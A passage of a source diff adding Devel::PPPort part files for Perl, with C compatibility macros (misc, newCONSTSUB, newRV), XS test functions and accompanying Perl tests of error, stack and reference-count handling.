+ ok $warn, eval '"\N{U+C3}\N{U+A1}\n"';
+
+ undef $warn;
+ Devel::PPPort::warn_sv("\xC3\xA1");
+ ok $warn =~ eval 'qr/^\N{U+C3}\N{U+A1} at $0 line /';
+
+ ok Devel::PPPort::mess_sv(eval('"\N{U+E1}\n"'), 0), eval '"\N{U+E1}\n"';
+ ok Devel::PPPort::mess_sv(do {my $tmp = eval '"\N{U+E1}\n"'}, 1), eval '"\N{U+E1}\n"';
+
+ ok Devel::PPPort::mess_sv(eval('"\N{U+E1}"'), 0) =~ eval 'qr/^\N{U+E1} at $0 line /';
+ ok Devel::PPPort::mess_sv(do {my $tmp = eval '"\N{U+E1}"'}, 1) =~ eval 'qr/^\N{U+E1} at $0 line /';
+
+ ok Devel::PPPort::mess_sv("\xC3\xA1\n", 0), eval '"\N{U+C3}\N{U+A1}\n"';
+ ok Devel::PPPort::mess_sv(do {my $tmp = "\xC3\xA1\n"}, 1), eval '"\N{U+C3}\N{U+A1}\n"';
+
+ ok Devel::PPPort::mess_sv("\xC3\xA1", 0) =~ eval 'qr/^\N{U+C3}\N{U+A1} at $0 line /';
+ ok Devel::PPPort::mess_sv(do {my $tmp = "\xC3\xA1"}, 1) =~ eval 'qr/^\N{U+C3}\N{U+A1} at $0 line /';
+} else {
+ skip 'skip: no support for \N{U+..} syntax', 0 for 1..24;
+}
+
+if ($] ge '5.007003' or ($] ge '5.006001' and $] lt '5.007')) {
+ undef $die;
+ ok !defined eval { Devel::PPPort::croak_sv($scalar_ref) };
+ ok $@ == $scalar_ref;
+ ok $die == $scalar_ref;
+
+ undef $die;
+ ok !defined eval { Devel::PPPort::croak_sv($array_ref) };
+ ok $@ == $array_ref;
+ ok $die == $array_ref;
+
+ undef $die;
+ ok !defined eval { Devel::PPPort::croak_sv($hash_ref) };
+ ok $@ == $hash_ref;
+ ok $die == $hash_ref;
+
+ undef $die;
+ ok !defined eval { Devel::PPPort::croak_sv($obj) };
+ ok $@ == $obj;
+ ok $die == $obj;
+} else {
+ skip 'skip: no support for exceptions', 0 for 1..12;
+}
+
+ok !defined eval { Devel::PPPort::croak_no_modify() };
+ok $@ =~ /^Modification of a read-only value attempted at $0 line /;
+
+ok !defined eval { Devel::PPPort::croak_memory_wrap() };
+ok $@ =~ /^panic: memory wrap at $0 line /;
+
+ok !defined eval { Devel::PPPort::croak_xs_usage("params") };
+ok $@ =~ /^Usage: Devel::PPPort::croak_xs_usage\(params\) at $0 line /;
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/misc b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/misc
new file mode 100644
index 00000000000..949c481088e
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/misc
@@ -0,0 +1,786 @@
+################################################################################
+##
+## Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+## Version 2.x, Copyright (C) 2001, Paul Marquess.
+## Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+## This program is free software; you can redistribute it and/or
+## modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+__UNDEFINED__
+PERL_UNUSED_DECL
+PERL_UNUSED_ARG
+PERL_UNUSED_VAR
+PERL_UNUSED_CONTEXT
+PERL_UNUSED_RESULT
+PERL_GCC_BRACE_GROUPS_FORBIDDEN
+PERL_USE_GCC_BRACE_GROUPS
+PERLIO_FUNCS_DECL
+PERLIO_FUNCS_CAST
+NVTYPE
+INT2PTR
+PTRV
+NUM2PTR
+PERL_HASH
+PTR2IV
+PTR2UV
+PTR2NV
+PTR2ul
+START_EXTERN_C
+END_EXTERN_C
+EXTERN_C
+STMT_START
+STMT_END
+UTF8_MAXBYTES
+WIDEST_UTYPE
+XSRETURN
+HeUTF8
+C_ARRAY_LENGTH
+C_ARRAY_END
+SvRX
+SvRXOK
+cBOOL
+OpHAS_SIBLING
+OpSIBLING
+OpMORESIB_set
+OpLASTSIB_set
+OpMAYBESIB_set
+
+=implementation
+
+__UNDEFINED__ cBOOL(cbool) ((cbool) ? (bool)1 : (bool)0)
+__UNDEFINED__ OpHAS_SIBLING(o) (cBOOL((o)->op_sibling))
+__UNDEFINED__ OpSIBLING(o) (0 + (o)->op_sibling)
+__UNDEFINED__ OpMORESIB_set(o, sib) ((o)->op_sibling = (sib))
+__UNDEFINED__ OpLASTSIB_set(o, parent) ((o)->op_sibling = NULL)
+__UNDEFINED__ OpMAYBESIB_set(o, sib, parent) ((o)->op_sibling = (sib))
+
+#ifndef SvRX
+#if { NEED SvRX }
+
+void *
+SvRX(pTHX_ SV *rv)
+{
+ if (SvROK(rv)) {
+ SV *sv = SvRV(rv);
+ if (SvMAGICAL(sv)) {
+ MAGIC *mg = mg_find(sv, PERL_MAGIC_qr);
+ if (mg && mg->mg_obj) {
+ return mg->mg_obj;
+ }
+ }
+ }
+ return 0;
+}
+#endif
+#endif
+
+__UNDEFINED__ SvRXOK(sv) (!!SvRX(sv))
+
+#ifndef PERL_UNUSED_DECL
+# ifdef HASATTRIBUTE
+# if (defined(__GNUC__) && defined(__cplusplus)) || defined(__INTEL_COMPILER)
+# define PERL_UNUSED_DECL
+# else
+# define PERL_UNUSED_DECL __attribute__((unused))
+# endif
+# else
+# define PERL_UNUSED_DECL
+# endif
+#endif
+
+#ifndef PERL_UNUSED_ARG
+# if defined(lint) && defined(S_SPLINT_S) /* www.splint.org */
+# include <note.h>
+# define PERL_UNUSED_ARG(x) NOTE(ARGUNUSED(x))
+# else
+# define PERL_UNUSED_ARG(x) ((void)x)
+# endif
+#endif
+
+#ifndef PERL_UNUSED_VAR
+# define PERL_UNUSED_VAR(x) ((void)x)
+#endif
+
+#ifndef PERL_UNUSED_CONTEXT
+# ifdef USE_ITHREADS
+# define PERL_UNUSED_CONTEXT PERL_UNUSED_ARG(my_perl)
+# else
+# define PERL_UNUSED_CONTEXT
+# endif
+#endif
+
+#ifndef PERL_UNUSED_RESULT
+# if defined(__GNUC__) && defined(HASATTRIBUTE_WARN_UNUSED_RESULT)
+# define PERL_UNUSED_RESULT(v) STMT_START { __typeof__(v) z = (v); (void)sizeof(z); } STMT_END
+# else
+# define PERL_UNUSED_RESULT(v) ((void)(v))
+# endif
+#endif
+
+__UNDEFINED__ NOOP /*EMPTY*/(void)0
+__UNDEFINED__ dNOOP extern int /*@unused@*/ Perl___notused PERL_UNUSED_DECL
+
+#ifndef NVTYPE
+# if defined(USE_LONG_DOUBLE) && defined(HAS_LONG_DOUBLE)
+# define NVTYPE long double
+# else
+# define NVTYPE double
+# endif
+typedef NVTYPE NV;
+#endif
+
+#ifndef INT2PTR
+# if (IVSIZE == PTRSIZE) && (UVSIZE == PTRSIZE)
+# define PTRV UV
+# define INT2PTR(any,d) (any)(d)
+# else
+# if PTRSIZE == LONGSIZE
+# define PTRV unsigned long
+# else
+# define PTRV unsigned
+# endif
+# define INT2PTR(any,d) (any)(PTRV)(d)
+# endif
+#endif
+
+#ifndef PTR2ul
+# if PTRSIZE == LONGSIZE
+# define PTR2ul(p) (unsigned long)(p)
+# else
+# define PTR2ul(p) INT2PTR(unsigned long,p)
+# endif
+#endif
+
+__UNDEFINED__ PTR2nat(p) (PTRV)(p)
+__UNDEFINED__ NUM2PTR(any,d) (any)PTR2nat(d)
+__UNDEFINED__ PTR2IV(p) INT2PTR(IV,p)
+__UNDEFINED__ PTR2UV(p) INT2PTR(UV,p)
+__UNDEFINED__ PTR2NV(p) NUM2PTR(NV,p)
+
+#undef START_EXTERN_C
+#undef END_EXTERN_C
+#undef EXTERN_C
+#ifdef __cplusplus
+# define START_EXTERN_C extern "C" {
+# define END_EXTERN_C }
+# define EXTERN_C extern "C"
+#else
+# define START_EXTERN_C
+# define END_EXTERN_C
+# define EXTERN_C extern
+#endif
+
+#if defined(PERL_GCC_PEDANTIC)
+# ifndef PERL_GCC_BRACE_GROUPS_FORBIDDEN
+# define PERL_GCC_BRACE_GROUPS_FORBIDDEN
+# endif
+#endif
+
+#if defined(__GNUC__) && !defined(PERL_GCC_BRACE_GROUPS_FORBIDDEN) && !defined(__cplusplus)
+# ifndef PERL_USE_GCC_BRACE_GROUPS
+# define PERL_USE_GCC_BRACE_GROUPS
+# endif
+#endif
+
+#undef STMT_START
+#undef STMT_END
+#ifdef PERL_USE_GCC_BRACE_GROUPS
+# define STMT_START (void)( /* gcc supports ``({ STATEMENTS; })'' */
+# define STMT_END )
+#else
+# if defined(VOIDFLAGS) && (VOIDFLAGS) && (defined(sun) || defined(__sun__)) && !defined(__GNUC__)
+# define STMT_START if (1)
+# define STMT_END else (void)0
+# else
+# define STMT_START do
+# define STMT_END while (0)
+# endif
+#endif
+
+__UNDEFINED__ boolSV(b) ((b) ? &PL_sv_yes : &PL_sv_no)
+
+/* DEFSV appears first in 5.004_56 */
+__UNDEFINED__ DEFSV GvSV(PL_defgv)
+__UNDEFINED__ SAVE_DEFSV SAVESPTR(GvSV(PL_defgv))
+__UNDEFINED__ DEFSV_set(sv) (DEFSV = (sv))
+
+/* Older perls (<=5.003) lack AvFILLp */
+__UNDEFINED__ AvFILLp AvFILL
+
+__UNDEFINED__ ERRSV get_sv("@",FALSE)
+
+/* Hint: gv_stashpvn
+ * This function's backport doesn't support the length parameter, but
+ * rather ignores it. Portability can only be ensured if the length
+ * parameter is used for speed reasons, but the length can always be
+ * correctly computed from the string argument.
+ */
+
+__UNDEFINED__ gv_stashpvn(str,len,create) gv_stashpv(str,create)
+
+/* Replace: 1 */
+__UNDEFINED__ get_cv perl_get_cv
+__UNDEFINED__ get_sv perl_get_sv
+__UNDEFINED__ get_av perl_get_av
+__UNDEFINED__ get_hv perl_get_hv
+/* Replace: 0 */
+
+__UNDEFINED__ dUNDERBAR dNOOP
+__UNDEFINED__ UNDERBAR DEFSV
+
+__UNDEFINED__ dAX I32 ax = MARK - PL_stack_base + 1
+__UNDEFINED__ dITEMS I32 items = SP - MARK
+
+__UNDEFINED__ dXSTARG SV * targ = sv_newmortal()
+
+__UNDEFINED__ dAXMARK I32 ax = POPMARK; \
+ register SV ** const mark = PL_stack_base + ax++
+
+
+__UNDEFINED__ XSprePUSH (sp = PL_stack_base + ax - 1)
+
+#if { VERSION < 5.005 }
+# undef XSRETURN
+# define XSRETURN(off) \
+ STMT_START { \
+ PL_stack_sp = PL_stack_base + ax + ((off) - 1); \
+ return; \
+ } STMT_END
+#endif
+
+__UNDEFINED__ XSPROTO(name) void name(pTHX_ CV* cv)
+__UNDEFINED__ SVfARG(p) ((void*)(p))
+
+__UNDEFINED__ PERL_ABS(x) ((x) < 0 ? -(x) : (x))
+
+__UNDEFINED__ dVAR dNOOP
+
+__UNDEFINED__ SVf "_"
+
+__UNDEFINED__ UTF8_MAXBYTES UTF8_MAXLEN
+
+__UNDEFINED__ CPERLscope(x) x
+
+__UNDEFINED__ PERL_HASH(hash,str,len) \
+ STMT_START { \
+ const char *s_PeRlHaSh = str; \
+ I32 i_PeRlHaSh = len; \
+ U32 hash_PeRlHaSh = 0; \
+ while (i_PeRlHaSh--) \
+ hash_PeRlHaSh = hash_PeRlHaSh * 33 + *s_PeRlHaSh++; \
+ (hash) = hash_PeRlHaSh; \
+ } STMT_END
+
+#ifndef PERLIO_FUNCS_DECL
+# ifdef PERLIO_FUNCS_CONST
+# define PERLIO_FUNCS_DECL(funcs) const PerlIO_funcs funcs
+# define PERLIO_FUNCS_CAST(funcs) (PerlIO_funcs*)(funcs)
+# else
+# define PERLIO_FUNCS_DECL(funcs) PerlIO_funcs funcs
+# define PERLIO_FUNCS_CAST(funcs) (funcs)
+# endif
+#endif
+
+/* provide these typedefs for older perls */
+#if { VERSION < 5.9.3 }
+
+# ifdef ARGSproto
+typedef OP* (CPERLscope(*Perl_ppaddr_t))(ARGSproto);
+# else
+typedef OP* (CPERLscope(*Perl_ppaddr_t))(pTHX);
+# endif
+
+typedef OP* (CPERLscope(*Perl_check_t)) (pTHX_ OP*);
+
+#endif
+
+__UNDEFINED__ isPSXSPC(c) (isSPACE(c) || (c) == '\v')
+__UNDEFINED__ isBLANK(c) ((c) == ' ' || (c) == '\t')
+#ifdef EBCDIC
+__UNDEFINED__ isALNUMC(c) isalnum(c)
+__UNDEFINED__ isASCII(c) isascii(c)
+__UNDEFINED__ isCNTRL(c) iscntrl(c)
+__UNDEFINED__ isGRAPH(c) isgraph(c)
+__UNDEFINED__ isPRINT(c) isprint(c)
+__UNDEFINED__ isPUNCT(c) ispunct(c)
+__UNDEFINED__ isXDIGIT(c) isxdigit(c)
+#else
+# if { VERSION < 5.10.0 }
+/* Hint: isPRINT
+ * The implementation in older perl versions includes all of the
+ * isSPACE() characters, which is wrong. The version provided by
+ * Devel::PPPort always overrides a present buggy version.
+ */
+# undef isPRINT
+# endif
+
+#ifndef WIDEST_UTYPE
+# ifdef QUADKIND
+# ifdef U64TYPE
+# define WIDEST_UTYPE U64TYPE
+# else
+# define WIDEST_UTYPE Quad_t
+# endif
+# else
+# define WIDEST_UTYPE U32
+# endif
+#endif
+
+__UNDEFINED__ isALNUMC(c) (isALPHA(c) || isDIGIT(c))
+__UNDEFINED__ isASCII(c) ((WIDEST_UTYPE) (c) <= 127)
+__UNDEFINED__ isCNTRL(c) ((WIDEST_UTYPE) (c) < ' ' || (c) == 127)
+__UNDEFINED__ isGRAPH(c) (isALNUM(c) || isPUNCT(c))
+__UNDEFINED__ isPRINT(c) (((c) >= 32 && (c) < 127))
+__UNDEFINED__ isPUNCT(c) (((c) >= 33 && (c) <= 47) || ((c) >= 58 && (c) <= 64) || ((c) >= 91 && (c) <= 96) || ((c) >= 123 && (c) <= 126))
+__UNDEFINED__ isXDIGIT(c) (isDIGIT(c) || ((c) >= 'a' && (c) <= 'f') || ((c) >= 'A' && (c) <= 'F'))
+#endif
+
+/* Until we figure out how to support this in older perls... */
+#if { VERSION >= 5.8.0 }
+
+__UNDEFINED__ HeUTF8(he) ((HeKLEN(he) == HEf_SVKEY) ? \
+ SvUTF8(HeKEY_sv(he)) : \
+ (U32)HeKUTF8(he))
+
+#endif
+
+__UNDEFINED__ C_ARRAY_LENGTH(a) (sizeof(a)/sizeof((a)[0]))
+__UNDEFINED__ C_ARRAY_END(a) ((a) + C_ARRAY_LENGTH(a))
+
+=xsmisc
+
+typedef XSPROTO(XSPROTO_test_t);
+typedef XSPROTO_test_t *XSPROTO_test_t_ptr;
+
+XS(XS_Devel__PPPort_dXSTARG); /* prototype */
+XS(XS_Devel__PPPort_dXSTARG)
+{
+ dXSARGS;
+ dXSTARG;
+ IV iv;
+
+ PERL_UNUSED_VAR(cv);
+ SP -= items;
+ iv = SvIV(ST(0)) + 1;
+ PUSHi(iv);
+ XSRETURN(1);
+}
+
+XS(XS_Devel__PPPort_dAXMARK); /* prototype */
+XS(XS_Devel__PPPort_dAXMARK)
+{
+ dSP;
+ dAXMARK;
+ dITEMS;
+ IV iv;
+
+ PERL_UNUSED_VAR(cv);
+ SP -= items;
+ iv = SvIV(ST(0)) - 1;
+ mPUSHi(iv);
+ XSRETURN(1);
+}
+
+=xsinit
+
+#define NEED_SvRX
+
+=xsboot
+
+{
+ XSPROTO_test_t_ptr p = &XS_Devel__PPPort_dXSTARG;
+ newXS("Devel::PPPort::dXSTARG", *p, file);
+}
+newXS("Devel::PPPort::dAXMARK", XS_Devel__PPPort_dAXMARK, file);
+
+=xsubs
+
+int
+OpSIBLING_tests()
+ PREINIT:
+ OP *x;
+ OP *kid;
+ OP *lastkid;
+ int count = 0;
+ int failures = 0;
+ int i;
+ CODE:
+ x = newOP(OP_PUSHMARK, 0);
+
+ /* No siblings yet! */
+ if (OpHAS_SIBLING(x) || OpSIBLING(x)) {
+ failures++; warn("Op should not have had a sib");
+ }
+
+
+ /* Add 2 siblings */
+ kid = x;
+
+ for (i = 0; i < 2; i++) {
+ OP *newsib = newOP(OP_PUSHMARK, 0);
+ OpMORESIB_set(kid, newsib);
+
+ kid = OpSIBLING(kid);
+ lastkid = kid;
+ }
+
+ /* Should now have a sibling */
+ if (! OpHAS_SIBLING(x) || ! OpSIBLING(x) ) {
+ failures++; warn("Op should have had a sib after moresib_set");
+ }
+
+ /* Count the siblings */
+ for (kid = OpSIBLING(x); kid; kid = OpSIBLING(kid)) {
+ count++;
+ }
+
+ if (count != 2) {
+ failures++; warn("Kid had %d sibs, expected 2", count);
+ }
+
+ if (OpHAS_SIBLING(lastkid) || OpSIBLING(lastkid)) {
+ failures++; warn("Last kid should not have a sib");
+ }
+
+ /* Really sets the parent, and says 'no more siblings' */
+ OpLASTSIB_set(x, lastkid);
+
+ if (OpHAS_SIBLING(x) || OpSIBLING(x)) {
+ failures++; warn("OpLASTSIB_set failed?");
+ }
+
+ /* Restore the kid */
+ OpMORESIB_set(x, lastkid);
+
+ /* Try to remove it again */
+ OpLASTSIB_set(x, NULL);
+
+ if (OpHAS_SIBLING(x) || OpSIBLING(x)) {
+ failures++; warn("OpLASTSIB_set with NULL failed?");
+ }
+
+ /* Try to restore with maybesib_set */
+ OpMAYBESIB_set(x, lastkid, NULL);
+
+ if (! OpHAS_SIBLING(x) || ! OpSIBLING(x) ) {
+ failures++; warn("Op should have had a sib after maybesibset");
+ }
+
+ RETVAL = failures;
+ OUTPUT:
+ RETVAL
+
+int
+SvRXOK(sv)
+ SV *sv
+ CODE:
+ RETVAL = SvRXOK(sv);
+ OUTPUT:
+ RETVAL
+
+int
+ptrtests()
+ PREINIT:
+ int var, *p = &var;
+
+ CODE:
+ RETVAL = 0;
+ RETVAL += PTR2nat(p) != 0 ? 1 : 0;
+ RETVAL += PTR2ul(p) != 0UL ? 2 : 0;
+ RETVAL += PTR2UV(p) != (UV) 0 ? 4 : 0;
+ RETVAL += PTR2IV(p) != (IV) 0 ? 8 : 0;
+ RETVAL += PTR2NV(p) != (NV) 0 ? 16 : 0;
+ RETVAL += p > NUM2PTR(int *, 0) ? 32 : 0;
+
+ OUTPUT:
+ RETVAL
+
+int
+gv_stashpvn(name, create)
+ char *name
+ I32 create
+ CODE:
+ RETVAL = gv_stashpvn(name, strlen(name), create) != NULL;
+ OUTPUT:
+ RETVAL
+
+int
+get_sv(name, create)
+ char *name
+ I32 create
+ CODE:
+ RETVAL = get_sv(name, create) != NULL;
+ OUTPUT:
+ RETVAL
+
+int
+get_av(name, create)
+ char *name
+ I32 create
+ CODE:
+ RETVAL = get_av(name, create) != NULL;
+ OUTPUT:
+ RETVAL
+
+int
+get_hv(name, create)
+ char *name
+ I32 create
+ CODE:
+ RETVAL = get_hv(name, create) != NULL;
+ OUTPUT:
+ RETVAL
+
+int
+get_cv(name, create)
+ char *name
+ I32 create
+ CODE:
+ RETVAL = get_cv(name, create) != NULL;
+ OUTPUT:
+ RETVAL
+
+void
+xsreturn(two)
+ int two
+ PPCODE:
+ mXPUSHp("test1", 5);
+ if (two)
+ mXPUSHp("test2", 5);
+ if (two)
+ XSRETURN(2);
+ else
+ XSRETURN(1);
+
+SV*
+boolSV(value)
+ int value
+ CODE:
+ RETVAL = newSVsv(boolSV(value));
+ OUTPUT:
+ RETVAL
+
+SV*
+DEFSV()
+ CODE:
+ RETVAL = newSVsv(DEFSV);
+ OUTPUT:
+ RETVAL
+
+void
+DEFSV_modify()
+ PPCODE:
+ XPUSHs(sv_mortalcopy(DEFSV));
+ ENTER;
+ SAVE_DEFSV;
+ DEFSV_set(newSVpvs("DEFSV"));
+ XPUSHs(sv_mortalcopy(DEFSV));
+ /* Yes, this leaks the above scalar; 5.005 with threads for some reason */
+ /* frees it upon LEAVE, thus mortalizing it causes "attempt to free..." */
+ /* sv_2mortal(DEFSV); */
+ LEAVE;
+ XPUSHs(sv_mortalcopy(DEFSV));
+ XSRETURN(3);
+
+int
+ERRSV()
+ CODE:
+ RETVAL = SvTRUE(ERRSV);
+ OUTPUT:
+ RETVAL
+
+SV*
+UNDERBAR()
+ CODE:
+ {
+ dUNDERBAR;
+ RETVAL = newSVsv(UNDERBAR);
+ }
+ OUTPUT:
+ RETVAL
+
+void
+prepush()
+ CODE:
+ {
+ dXSTARG;
+ XSprePUSH;
+ PUSHi(42);
+ XSRETURN(1);
+ }
+
+int
+PERL_ABS(a)
+ int a
+
+void
+SVf(x)
+ SV *x
+ PPCODE:
+#if { VERSION >= 5.004 }
+ x = sv_2mortal(newSVpvf("[%" SVf "]", SVfARG(x)));
+#endif
+ XPUSHs(x);
+ XSRETURN(1);
+
+void
+Perl_ppaddr_t(string)
+ char *string
+ PREINIT:
+ Perl_ppaddr_t lower;
+ PPCODE:
+ lower = PL_ppaddr[OP_LC];
+ mXPUSHs(newSVpv(string, 0));
+ PUTBACK;
+ ENTER;
+ (void)*(lower)(aTHXR);
+ SPAGAIN;
+ LEAVE;
+ XSRETURN(1);
+
+#if { VERSION >= 5.8.0 }
+
+void
+check_HeUTF8(utf8_key)
+ SV *utf8_key;
+ PREINIT:
+ HV *hash;
+ HE *ent;
+ STRLEN klen;
+ char *key;
+ PPCODE:
+ hash = newHV();
+
+ key = SvPV(utf8_key, klen);
+ if (SvUTF8(utf8_key)) klen *= -1;
+ hv_store(hash, key, klen, newSVpvs("string"), 0);
+ hv_iterinit(hash);
+ ent = hv_iternext(hash);
+ assert(ent);
+ mXPUSHp((HeUTF8(ent) == 0 ? "norm" : "utf8"), 4);
+ hv_undef(hash);
+
+
+#endif
+
+void
+check_c_array()
+ PREINIT:
+ int x[] = { 10, 11, 12, 13 };
+ PPCODE:
+ mXPUSHi(C_ARRAY_LENGTH(x)); /* 4 */
+ mXPUSHi(*(C_ARRAY_END(x)-1)); /* 13 */
+
+=tests plan => 48
+
+use vars qw($my_sv @my_av %my_hv);
+
+ok(&Devel::PPPort::boolSV(1));
+ok(!&Devel::PPPort::boolSV(0));
+
+$_ = "Fred";
+ok(&Devel::PPPort::DEFSV(), "Fred");
+ok(&Devel::PPPort::UNDERBAR(), "Fred");
+
+if ($] >= 5.009002 && $] < 5.023 && $] < 5.023004) {
+ eval q{
+ no warnings "deprecated";
+ no if $^V > v5.17.9, warnings => "experimental::lexical_topic";
+ my $_ = "Tony";
+ ok(&Devel::PPPort::DEFSV(), "Fred");
+ ok(&Devel::PPPort::UNDERBAR(), "Tony");
+ };
+}
+else {
+ ok(1);
+ ok(1);
+}
+
+my @r = &Devel::PPPort::DEFSV_modify();
+
+ok(@r == 3);
+ok($r[0], 'Fred');
+ok($r[1], 'DEFSV');
+ok($r[2], 'Fred');
+
+ok(&Devel::PPPort::DEFSV(), "Fred");
+
+eval { 1 };
+ok(!&Devel::PPPort::ERRSV());
+eval { cannot_call_this_one() };
+ok(&Devel::PPPort::ERRSV());
+
+ok(&Devel::PPPort::gv_stashpvn('Devel::PPPort', 0));
+ok(!&Devel::PPPort::gv_stashpvn('does::not::exist', 0));
+ok(&Devel::PPPort::gv_stashpvn('does::not::exist', 1));
+
+$my_sv = 1;
+ok(&Devel::PPPort::get_sv('my_sv', 0));
+ok(!&Devel::PPPort::get_sv('not_my_sv', 0));
+ok(&Devel::PPPort::get_sv('not_my_sv', 1));
+
+@my_av = (1);
+ok(&Devel::PPPort::get_av('my_av', 0));
+ok(!&Devel::PPPort::get_av('not_my_av', 0));
+ok(&Devel::PPPort::get_av('not_my_av', 1));
+
+%my_hv = (a=>1);
+ok(&Devel::PPPort::get_hv('my_hv', 0));
+ok(!&Devel::PPPort::get_hv('not_my_hv', 0));
+ok(&Devel::PPPort::get_hv('not_my_hv', 1));
+
+sub my_cv { 1 };
+ok(&Devel::PPPort::get_cv('my_cv', 0));
+ok(!&Devel::PPPort::get_cv('not_my_cv', 0));
+ok(&Devel::PPPort::get_cv('not_my_cv', 1));
+
+ok(Devel::PPPort::dXSTARG(42), 43);
+ok(Devel::PPPort::dAXMARK(4711), 4710);
+
+ok(Devel::PPPort::prepush(), 42);
+
+ok(join(':', Devel::PPPort::xsreturn(0)), 'test1');
+ok(join(':', Devel::PPPort::xsreturn(1)), 'test1:test2');
+
+ok(Devel::PPPort::PERL_ABS(42), 42);
+ok(Devel::PPPort::PERL_ABS(-13), 13);
+
+ok(Devel::PPPort::SVf(42), $] >= 5.004 ? '[42]' : '42');
+ok(Devel::PPPort::SVf('abc'), $] >= 5.004 ? '[abc]' : 'abc');
+
+ok(&Devel::PPPort::Perl_ppaddr_t("FOO"), "foo");
+
+ok(&Devel::PPPort::ptrtests(), 63);
+
+ok(&Devel::PPPort::OpSIBLING_tests(), 0);
+
+if ($] >= 5.009000) {
+ eval q{
+ ok(&Devel::PPPort::check_HeUTF8("hello"), "norm");
+ ok(&Devel::PPPort::check_HeUTF8("\N{U+263a}"), "utf8");
+ };
+} else {
+ ok(1, 1);
+ ok(1, 1);
+}
+
+@r = &Devel::PPPort::check_c_array();
+ok($r[0], 4);
+ok($r[1], "13");
+
+ok(!Devel::PPPort::SvRXOK(""));
+ok(!Devel::PPPort::SvRXOK(bless [], "Regexp"));
+
+if ($] < 5.005) {
+ skip 'no qr// objects in this perl', 0;
+ skip 'no qr// objects in this perl', 0;
+} else {
+ my $qr = eval 'qr/./';
+ ok(Devel::PPPort::SvRXOK($qr));
+ ok(Devel::PPPort::SvRXOK(bless $qr, "Surprise"));
+}
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/newCONSTSUB b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/newCONSTSUB
new file mode 100644
index 00000000000..336a8e00b8d
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/newCONSTSUB
@@ -0,0 +1,104 @@
+################################################################################
+##
+## Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+## Version 2.x, Copyright (C) 2001, Paul Marquess.
+## Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+## This program is free software; you can redistribute it and/or
+## modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+newCONSTSUB
+
+=implementation
+
+/* Hint: newCONSTSUB
+ * Returns a CV* as of perl-5.7.1. This return value is not supported
+ * by Devel::PPPort.
+ */
+
+/* newCONSTSUB from IO.xs is in the core starting with 5.004_63 */
+#if { VERSION < 5.004_63 } && { VERSION != 5.004_05 }
+#if { NEED newCONSTSUB }
+
+/* This is just a trick to avoid a dependency of newCONSTSUB on PL_parser */
+/* (There's no PL_parser in perl < 5.005, so this is completely safe) */
+#define D_PPP_PL_copline PL_copline
+
+void
+newCONSTSUB(HV *stash, const char *name, SV *sv)
+{
+ U32 oldhints = PL_hints;
+ HV *old_cop_stash = PL_curcop->cop_stash;
+ HV *old_curstash = PL_curstash;
+ line_t oldline = PL_curcop->cop_line;
+ PL_curcop->cop_line = D_PPP_PL_copline;
+
+ PL_hints &= ~HINT_BLOCK_SCOPE;
+ if (stash)
+ PL_curstash = PL_curcop->cop_stash = stash;
+
+ newSUB(
+
+#if { VERSION < 5.003_22 }
+ start_subparse(),
+#elif { VERSION == 5.003_22 }
+ start_subparse(0),
+#else /* 5.003_23 onwards */
+ start_subparse(FALSE, 0),
+#endif
+
+ newSVOP(OP_CONST, 0, newSVpv((char *) name, 0)),
+ newSVOP(OP_CONST, 0, &PL_sv_no), /* SvPV(&PL_sv_no) == "" -- GMB */
+ newSTATEOP(0, Nullch, newSVOP(OP_CONST, 0, sv))
+ );
+
+ PL_hints = oldhints;
+ PL_curcop->cop_stash = old_cop_stash;
+ PL_curstash = old_curstash;
+ PL_curcop->cop_line = oldline;
+}
+#endif
+#endif
+
+=xsinit
+
+#define NEED_newCONSTSUB
+
+=xsmisc
+
+void call_newCONSTSUB_1(void)
+{
+#ifdef PERL_NO_GET_CONTEXT
+ dTHX;
+#endif
+ newCONSTSUB(gv_stashpv("Devel::PPPort", FALSE), "test_value_1", newSViv(1));
+}
+
+extern void call_newCONSTSUB_2(void);
+extern void call_newCONSTSUB_3(void);
+
+=xsubs
+
+void
+call_newCONSTSUB_1()
+
+void
+call_newCONSTSUB_2()
+
+void
+call_newCONSTSUB_3()
+
+=tests plan => 3
+
+&Devel::PPPort::call_newCONSTSUB_1();
+ok(&Devel::PPPort::test_value_1(), 1);
+
+&Devel::PPPort::call_newCONSTSUB_2();
+ok(&Devel::PPPort::test_value_2(), 2);
+
+&Devel::PPPort::call_newCONSTSUB_3();
+ok(&Devel::PPPort::test_value_3(), 3);
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/newRV b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/newRV
new file mode 100644
index 00000000000..6db6dfc54fe
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/newRV
@@ -0,0 +1,67 @@
+################################################################################
+##
+## Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+## Version 2.x, Copyright (C) 2001, Paul Marquess.
+## Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+## This program is free software; you can redistribute it and/or
+## modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+newRV_inc
+newRV_noinc
+
+=implementation
+
+__UNDEFINED__ newRV_inc(sv) newRV(sv) /* Replace */
+
+#ifndef newRV_noinc
+#if { NEED newRV_noinc }
+SV *
+newRV_noinc(SV *sv)
+{
+ SV *rv = (SV *)newRV(sv);
+ SvREFCNT_dec(sv);
+ return rv;
+}
+#endif
+#endif
+
+=xsinit
+
+#define NEED_newRV_noinc
+
+=xsubs
+
+U32
+newRV_inc_REFCNT()
+ PREINIT:
+ SV *sv, *rv;
+ CODE:
+ sv = newSViv(42);
+ rv = newRV_inc(sv);
+ SvREFCNT_dec(sv);
+ RETVAL = SvREFCNT(sv);
+ sv_2mortal(rv);
+ OUTPUT:
+ RETVAL
+
+U32
+newRV_noinc_REFCNT()
+ PREINIT:
+ SV *sv, *rv;
+ CODE:
